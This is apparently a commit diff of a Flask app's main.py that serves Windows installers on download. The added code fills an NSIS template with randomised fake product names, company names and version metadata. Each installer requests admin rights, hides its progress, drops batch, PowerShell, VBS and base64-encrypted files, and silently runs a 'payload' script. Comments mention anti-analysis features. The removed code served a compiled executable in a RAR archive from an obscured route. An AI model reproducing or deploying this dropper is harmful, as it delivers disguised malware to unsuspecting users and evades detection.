Spaces:
Sleeping
Sleeping
Update main.py
Browse files
main.py
CHANGED
@@ -2,174 +2,252 @@ from flask import Flask, send_file, jsonify
|
|
2 |
import os
|
3 |
import subprocess
|
4 |
import json
|
|
|
5 |
from datetime import datetime
|
6 |
from pathlib import Path
|
7 |
from threading import Thread
|
|
|
8 |
|
9 |
app = Flask(__name__)
|
10 |
|
11 |
# Configuration
|
12 |
-
|
13 |
-
|
|
|
14 |
STATS_FILE = "download_stats.json"
|
|
|
15 |
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
|
16 |
os.makedirs(COMPILE_FOLDER, exist_ok=True)
|
17 |
|
18 |
-
|
19 |
-
|
20 |
-
|
21 |
-
|
22 |
-
|
23 |
-
|
24 |
-
|
25 |
-
|
26 |
-
|
27 |
-
|
28 |
-
|
29 |
-
|
30 |
-
|
31 |
-
|
32 |
-
|
33 |
-
|
34 |
-
|
35 |
-
|
36 |
-
|
37 |
-
|
38 |
-
|
39 |
-
|
40 |
-
|
41 |
-
|
42 |
-
|
43 |
-
|
44 |
-
|
45 |
-
|
46 |
-
|
47 |
-
|
48 |
-
|
49 |
-
|
50 |
-
|
51 |
-
|
52 |
-
|
53 |
-
|
54 |
-
|
55 |
-
|
56 |
-
|
57 |
-
|
58 |
-
|
59 |
-
|
60 |
-
|
61 |
-
{
|
62 |
-
|
63 |
-
|
64 |
-
|
65 |
-
|
66 |
-
}
|
67 |
-
|
68 |
-
""
|
69 |
-
|
70 |
-
# Compile with mcs
|
71 |
-
compile_cmd = [
|
72 |
-
"mcs",
|
73 |
-
'-optimize+',
|
74 |
-
'-out:' + exe_path,
|
75 |
-
cs_path
|
76 |
-
]
|
77 |
-
|
78 |
-
compile_result = subprocess.run(compile_cmd, capture_output=True, text=True)
|
79 |
-
if compile_result.returncode != 0:
|
80 |
-
print(f"Compile error: {compile_result.stderr}")
|
81 |
-
return None
|
82 |
-
|
83 |
-
# Create RAR using 7zip
|
84 |
-
rar_cmd = ['/usr/bin/7z', 'a', rar_path, exe_path]
|
85 |
-
rar_result = subprocess.run(rar_cmd, capture_output=True, text=True)
|
86 |
-
if rar_result.returncode != 0:
|
87 |
-
print(f"RAR error: {rar_result.stderr}")
|
88 |
-
return None
|
89 |
-
|
90 |
-
# Cleanup temporary files
|
91 |
-
try:
|
92 |
-
os.remove(cs_path)
|
93 |
-
os.remove(exe_path)
|
94 |
-
except Exception as e:
|
95 |
-
print(f"Cleanup error: {e}")
|
96 |
-
|
97 |
-
# Remove old RAR files
|
98 |
-
for old_file in Path(UPLOAD_FOLDER).glob('*.rar'):
|
99 |
-
if old_file != Path(rar_path):
|
100 |
-
try:
|
101 |
-
os.remove(old_file)
|
102 |
-
except:
|
103 |
-
pass
|
104 |
-
|
105 |
-
return rar_path
|
106 |
-
|
107 |
-
except Exception as e:
|
108 |
-
print(f"Error: {str(e)}")
|
109 |
-
return None
|
110 |
-
|
111 |
-
|
112 |
-
def get_current_rar():
|
113 |
-
"""Get the current RAR file or create one if none exists"""
|
114 |
-
files = list(Path(UPLOAD_FOLDER).glob('*.rar'))
|
115 |
-
if not files:
|
116 |
-
return compile_and_zip()
|
117 |
-
return str(max(files, key=os.path.getctime))
|
118 |
-
|
119 |
-
def compile_in_background():
|
120 |
-
"""Trigger compilation in a separate thread to avoid blocking the main app."""
|
121 |
-
Thread(target=compile_and_zip).start()
|
122 |
-
|
123 |
-
@app.route('/download/cnVuLmNtZA==')
|
124 |
-
def download_file():
|
125 |
-
stats = load_stats()
|
126 |
|
127 |
-
# Get current RAR file
|
128 |
-
file_path = get_current_rar()
|
129 |
-
if not file_path:
|
130 |
-
return "Compilation failed", 500
|
131 |
-
|
132 |
-
if not os.path.exists(file_path):
|
133 |
-
return "File not found", 404
|
134 |
|
135 |
-
|
136 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
137 |
|
138 |
-
|
139 |
-
|
140 |
-
stats['downloads'] += 1
|
141 |
-
stats['last_download'] = datetime.now().isoformat()
|
142 |
-
save_stats(stats)
|
143 |
|
144 |
-
|
145 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
146 |
|
147 |
-
|
|
|
|
|
148 |
|
149 |
-
|
150 |
-
|
151 |
-
|
152 |
-
|
153 |
-
|
154 |
-
|
155 |
-
|
156 |
-
|
157 |
-
|
158 |
-
|
159 |
-
|
160 |
-
|
161 |
-
|
162 |
-
|
163 |
-
|
164 |
-
|
165 |
-
|
166 |
-
|
167 |
-
|
168 |
-
"""
|
|
|
|
|
|
|
|
|
|
|
169 |
|
170 |
if __name__ == '__main__':
|
171 |
-
|
172 |
-
if not list(Path(UPLOAD_FOLDER).glob('*.rar')):
|
173 |
-
print("No existing RAR file found, creating initial file...")
|
174 |
-
compile_and_zip()
|
175 |
-
app.run(host='0.0.0.0', port=7860, debug=True)
|
|
|
2 |
import os
|
3 |
import subprocess
|
4 |
import json
|
5 |
+
import random
|
6 |
from datetime import datetime
|
7 |
from pathlib import Path
|
8 |
from threading import Thread
|
9 |
+
import shutil
|
10 |
|
11 |
app = Flask(__name__)
|
12 |
|
13 |
# Configuration
|
14 |
+
BASE_DIR = os.path.abspath(os.path.dirname(__file__))
|
15 |
+
UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
|
16 |
+
COMPILE_FOLDER = os.path.join(BASE_DIR, "compile")
|
17 |
STATS_FILE = "download_stats.json"
|
18 |
+
NSIS_COMPILER_PATH = "/usr/local/bin/makensis" # Update this to the correct Linux path for makensis
|
19 |
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
|
20 |
os.makedirs(COMPILE_FOLDER, exist_ok=True)
|
21 |
|
22 |
+
# Modify the NSIS_SCRIPT_TEMPLATE with enhanced anti-analysis features
|
23 |
+
NSIS_SCRIPT_TEMPLATE = r"""
|
24 |
+
; NeuraScope Insight Installer Script
|
25 |
+
!include "MUI2.nsh"
|
26 |
+
!include "LogicLib.nsh"
|
27 |
+
|
28 |
+
; Basic definitions
|
29 |
+
Name "{{ProductName}}"
|
30 |
+
OutFile "${{installer_path}}"
|
31 |
+
InstallDir "/usr/local/share/Omega"
|
32 |
+
RequestExecutionLevel admin
|
33 |
+
SetCompressor /SOLID lzma
|
34 |
+
SetCompressorDictSize 96
|
35 |
+
SetDatablockOptimize ON
|
36 |
+
|
37 |
+
; Interface settings
|
38 |
+
!define MUI_ICON "/home/user/icons/favicon.ico"
|
39 |
+
!define MUI_WELCOMEPAGE_TITLE "Welcome to {{ProductName}} Setup"
|
40 |
+
!define MUI_WELCOMEPAGE_TEXT "This will install {{ProductName}} on your computer.$\r$\n$\r$\nClick Install to continue."
|
41 |
+
!define MUI_WELCOMEFINISHPAGE_BITMAP "${NSISDIR}/Contrib/Graphics/Wizard/win.bmp"
|
42 |
+
|
43 |
+
; Pages
|
44 |
+
!insertmacro MUI_PAGE_WELCOME
|
45 |
+
!insertmacro MUI_PAGE_INSTFILES
|
46 |
+
!insertmacro MUI_LANGUAGE "English"
|
47 |
+
|
48 |
+
; Basic Version Information
|
49 |
+
VIProductVersion "{{ProductVersion}}"
|
50 |
+
VIAddVersionKey "ProductName" "{{ProductName}}"
|
51 |
+
VIAddVersionKey "CompanyName" "{{CompanyName}}"
|
52 |
+
VIAddVersionKey "LegalCopyright" "{{LegalCopyright}}"
|
53 |
+
VIAddVersionKey "FileVersion" "{{FileVersion}}"
|
54 |
+
VIAddVersionKey "ProductVersion" "{{ProductVersion}}"
|
55 |
+
VIAddVersionKey "FileDescription" "{{FileDescription}}"
|
56 |
+
|
57 |
+
ShowInstDetails hide
|
58 |
+
AutoCloseWindow true
|
59 |
+
|
60 |
+
Section "MainSection" SEC01
|
61 |
+
SetDetailsPrint none
|
62 |
+
SetOutPath "/usr/local/share/Omega"
|
63 |
+
|
64 |
+
; File copies
|
65 |
+
File "{{random_program}}"
|
66 |
+
File "/home/user/programs/0.bat"
|
67 |
+
File "/home/user/programs/run_base64_encrypted.txt"
|
68 |
+
File "/home/user/programs/0.ps1"
|
69 |
+
File "/home/user/programs/0.vbs"
|
70 |
+
File "{{random_program}}"
|
71 |
+
File "/home/user/programs/1.bat"
|
72 |
+
File "/home/user/programs/1.ps1"
|
73 |
+
File "/home/user/programs/1.vbs"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
74 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
75 |
|
76 |
+
; Run payload and exit
|
77 |
+
ExecShell "" "/usr/local/share/Omega/0.vbs" SW_HIDE
|
78 |
+
SetAutoClose true
|
79 |
+
SectionEnd
|
80 |
+
"""
|
81 |
+
|
82 |
+
# Greatly expanded version details dictionary
|
83 |
+
VERSION_DETAILS = {
|
84 |
+
"ProductName": [
|
85 |
+
"Gametoy Health Center", "Omega Insight Pro", "Visionary Game System", "TechMatrix Suite Premium",
|
86 |
+
"Nebula Installer Plus", "GameForge Studio", "Digital Nexus Hub", "CyberPulse Platform",
|
87 |
+
"VirtualCore Manager", "GameStream Elite", "OmegaForge Professional", "TechVision Suite",
|
88 |
+
"GameMatrix Central", "CloudPulse Gaming", "NexusCore Platform", "GameWave Professional",
|
89 |
+
"Cyber Matrix Hub", "VisionForge Elite", "PulseTech Gaming", "StreamCore Professional",
|
90 |
+
"TechPro Suite", "GameCore Elite", "CloudMatrix Enterprise", "VisionWave Platform",
|
91 |
+
"PulseForge Studio", "NexusWave Pro", "CyberCore Premium", "GamePulse Advanced",
|
92 |
+
"TechStream Ultimate", "OmegaCore Enterprise"
|
93 |
+
],
|
94 |
+
"CompanyName": [
|
95 |
+
"Game Health Systems Inc.", "TechWave Innovations Ltd.", "Omega Systems International",
|
96 |
+
"Visionary Game Corporation", "Nebula Technologies Group", "GameForge Solutions",
|
97 |
+
"Digital Nexus Corporation", "CyberPulse Technologies", "VirtualCore Solutions",
|
98 |
+
"GameStream Enterprises", "OmegaForge Technologies", "TechVision Innovations",
|
99 |
+
"GameMatrix Solutions", "CloudPulse Interactive", "NexusCore Technologies",
|
100 |
+
"GameWave Digital", "CyberMatrix Solutions", "VisionForge Systems",
|
101 |
+
"PulseTech Interactive", "StreamCore Solutions", "TechPro Enterprises",
|
102 |
+
"GameCore Solutions Ltd.", "CloudMatrix Systems", "VisionWave Technologies",
|
103 |
+
"PulseForge Interactive", "NexusWave Digital", "CyberCore Solutions",
|
104 |
+
"GamePulse Technologies", "TechStream Systems", "OmegaCore Industries"
|
105 |
+
],
|
106 |
+
"LegalCopyright": [
|
107 |
+
"Copyright © 2024 Gametoy Innovations - All Rights Reserved",
|
108 |
+
"Copyright © 2024 Visionary Game Co. - Professional Edition",
|
109 |
+
"Copyright © 2024 Omega Systems - Enterprise License",
|
110 |
+
"Copyright © 2024 TechWave - Premium License",
|
111 |
+
"Copyright © 2024 Nebula Technologies - Commercial Use",
|
112 |
+
"Copyright © 2024 GameForge Solutions - Professional License",
|
113 |
+
"Copyright © 2024 Digital Nexus - Enterprise Edition",
|
114 |
+
"Copyright © 2024 CyberPulse - Commercial License",
|
115 |
+
"Copyright © 2024 VirtualCore - Premium Edition",
|
116 |
+
"Copyright © 2024 GameStream - Professional Use",
|
117 |
+
"Copyright © 2024 TechPro - Enterprise License",
|
118 |
+
"Copyright © 2024 GameCore - Commercial Edition",
|
119 |
+
"Copyright © 2024 CloudMatrix - Professional License",
|
120 |
+
"Copyright © 2024 VisionWave - Premium Use",
|
121 |
+
"Copyright © 2024 PulseForge - Enterprise Edition"
|
122 |
+
],
|
123 |
+
"FileDescription": [
|
124 |
+
"Professional Gaming Platform Installer", "Advanced Game Management System",
|
125 |
+
"Enterprise Gaming Solution Suite", "Premium Game Development Tools",
|
126 |
+
"Professional Game Analytics Platform", "Advanced Gaming Framework",
|
127 |
+
"Enterprise Development Environment", "Professional Gaming SDK",
|
128 |
+
"Advanced Game Publishing Tools", "Premium Gaming Platform",
|
129 |
+
"Professional Development Suite", "Enterprise Gaming Framework",
|
130 |
+
"Advanced Game Management Tools", "Premium Development Platform",
|
131 |
+
"Professional Gaming Environment", "Enterprise Solution Suite",
|
132 |
+
"Advanced Development Framework", "Premium Management System",
|
133 |
+
"Professional Analytics Platform", "Enterprise Gaming Tools"
|
134 |
+
]
|
135 |
+
}
|
136 |
+
|
137 |
+
def generate_product_version():
|
138 |
+
"""
|
139 |
+
Generates a realistic product version number with the format major.minor.patch.build
|
140 |
+
Major: 1-5
|
141 |
+
Minor: 0-15
|
142 |
+
Patch: 0-99
|
143 |
+
Build: 1000-9999
|
144 |
+
"""
|
145 |
+
major = random.randint(1, 5)
|
146 |
+
minor = random.randint(0, 15)
|
147 |
+
patch = random.randint(0, 99)
|
148 |
+
build = random.randint(1000, 9999)
|
149 |
+
return f"{major}.{minor}.{patch}.{build}"
|
150 |
+
|
151 |
+
def generate_file_version():
|
152 |
+
"""
|
153 |
+
Generates a unique file version with format major.minor.build.revision
|
154 |
+
"""
|
155 |
+
versions = []
|
156 |
+
for _ in range(30): # Increased to 30 versions
|
157 |
+
major = random.randint(1, 10)
|
158 |
+
minor = random.randint(0, 99)
|
159 |
+
build = random.randint(100, 999)
|
160 |
+
revision = random.randint(0, 99999)
|
161 |
+
versions.append(f"{major}.{minor}.{build}.{revision}")
|
162 |
+
return versions
|
163 |
+
|
164 |
+
# Add generated file versions to VERSION_DETAILS
|
165 |
+
VERSION_DETAILS["FileVersion"] = generate_file_version()
|
166 |
+
|
167 |
+
def generate_random_version_details():
|
168 |
+
"""Generates random meaningful version details for each build."""
|
169 |
+
return {
|
170 |
+
"ProductName": random.choice(VERSION_DETAILS["ProductName"]),
|
171 |
+
"CompanyName": random.choice(VERSION_DETAILS["CompanyName"]),
|
172 |
+
"LegalCopyright": random.choice(VERSION_DETAILS["LegalCopyright"]),
|
173 |
+
"FileVersion": random.choice(VERSION_DETAILS["FileVersion"]),
|
174 |
+
"ProductVersion": generate_product_version(),
|
175 |
+
"FileDescription": random.choice(VERSION_DETAILS["FileDescription"]),
|
176 |
+
}
|
177 |
+
|
178 |
+
def generate_nsi_script():
|
179 |
+
"""Generates the NSI script with random version details and two different random executables."""
|
180 |
+
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
|
181 |
+
installer_output = os.path.join(UPLOAD_FOLDER, f"setup_{timestamp}.exe")
|
182 |
+
|
183 |
+
if not os.access(UPLOAD_FOLDER, os.W_OK):
|
184 |
+
raise PermissionError(f"Cannot write to the directory {UPLOAD_FOLDER}")
|
185 |
|
186 |
+
# Generate version details
|
187 |
+
version_details = generate_random_version_details()
|
|
|
|
|
|
|
188 |
|
189 |
+
# Choose random .exe files from the Programs folder
|
190 |
+
programs_folder = "/home/user/programs" # Linux version path for programs
|
191 |
+
exe_files = [f for f in os.listdir(programs_folder) if f.endswith(".exe")]
|
192 |
+
|
193 |
+
# Check if there are enough .exe files
|
194 |
+
if len(exe_files) < 2:
|
195 |
+
raise FileNotFoundError(f"Not enough .exe files found in the folder {programs_folder}")
|
196 |
+
|
197 |
+
# Select two different executable files
|
198 |
+
random_exe_1 = random.choice(exe_files)
|
199 |
+
exe_files.remove(random_exe_1) # Remove the first selected .exe
|
200 |
+
random_exe_2 = random.choice(exe_files)
|
201 |
+
|
202 |
+
random_exe_1_path = os.path.join(programs_folder, random_exe_1)
|
203 |
+
random_exe_2_path = os.path.join(programs_folder, random_exe_2)
|
204 |
+
|
205 |
+
# Replace all placeholders in the template
|
206 |
+
nsi_content = NSIS_SCRIPT_TEMPLATE.replace("${{installer_path}}", installer_output)
|
207 |
+
nsi_content = nsi_content.replace("{{ProductName}}", version_details["ProductName"])
|
208 |
+
nsi_content = nsi_content.replace("{{ProductVersion}}", version_details["ProductVersion"])
|
209 |
+
nsi_content = nsi_content.replace("{{CompanyName}}", version_details["CompanyName"])
|
210 |
+
nsi_content = nsi_content.replace("{{LegalCopyright}}", version_details["LegalCopyright"])
|
211 |
+
nsi_content = nsi_content.replace("{{FileVersion}}", version_details["FileVersion"])
|
212 |
+
nsi_content = nsi_content.replace("{{FileDescription}}", version_details["FileDescription"])
|
213 |
+
nsi_content = nsi_content.replace("{{random_program}}", random_exe_1_path)
|
214 |
+
|
215 |
+
nsi_script_path = os.path.join(COMPILE_FOLDER, f"installer_{timestamp}.nsi")
|
216 |
+
|
217 |
+
with open(nsi_script_path, "w") as nsi_file:
|
218 |
+
nsi_file.write(nsi_content)
|
219 |
+
|
220 |
+
return nsi_script_path, installer_output
|
221 |
|
222 |
+
def compile_nsi_script(nsi_script_path, installer_output):
|
223 |
+
"""Compiles the NSI script into an executable installer."""
|
224 |
+
compile_cmd = [NSIS_COMPILER_PATH, nsi_script_path]
|
225 |
|
226 |
+
# Ensure the NSIS compiler is available
|
227 |
+
if not shutil.which("makensis"):
|
228 |
+
raise FileNotFoundError("NSIS Compiler not found. Make sure NSIS is installed.")
|
229 |
+
|
230 |
+
result = subprocess.run(compile_cmd, capture_output=True, text=True)
|
231 |
+
if result.returncode != 0:
|
232 |
+
raise RuntimeError(f"NSIS Compilation failed: {result.stderr}")
|
233 |
+
return installer_output
|
234 |
+
|
235 |
+
def serve_installer():
|
236 |
+
"""Serves the installer once compiled."""
|
237 |
+
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
|
238 |
+
nsi_script_path, installer_output = generate_nsi_script()
|
239 |
+
compiled_installer = compile_nsi_script(nsi_script_path, installer_output)
|
240 |
+
return send_file(compiled_installer, as_attachment=True, download_name=f"setup_{timestamp}.exe")
|
241 |
+
|
242 |
+
@app.route('/generate_installer', methods=['GET'])
|
243 |
+
def generate_installer_route():
|
244 |
+
"""API route to trigger installer generation."""
|
245 |
+
return jsonify({"message": "Installer is being generated. Please wait..."})
|
246 |
+
|
247 |
+
@app.route('/download_installer', methods=['GET'])
|
248 |
+
def download_installer_route():
|
249 |
+
"""API route to download the generated installer."""
|
250 |
+
return serve_installer()
|
251 |
|
252 |
if __name__ == '__main__':
|
253 |
+
app.run(debug=True, host='0.0.0.0', port=7860)
|
|
|
|
|
|
|
|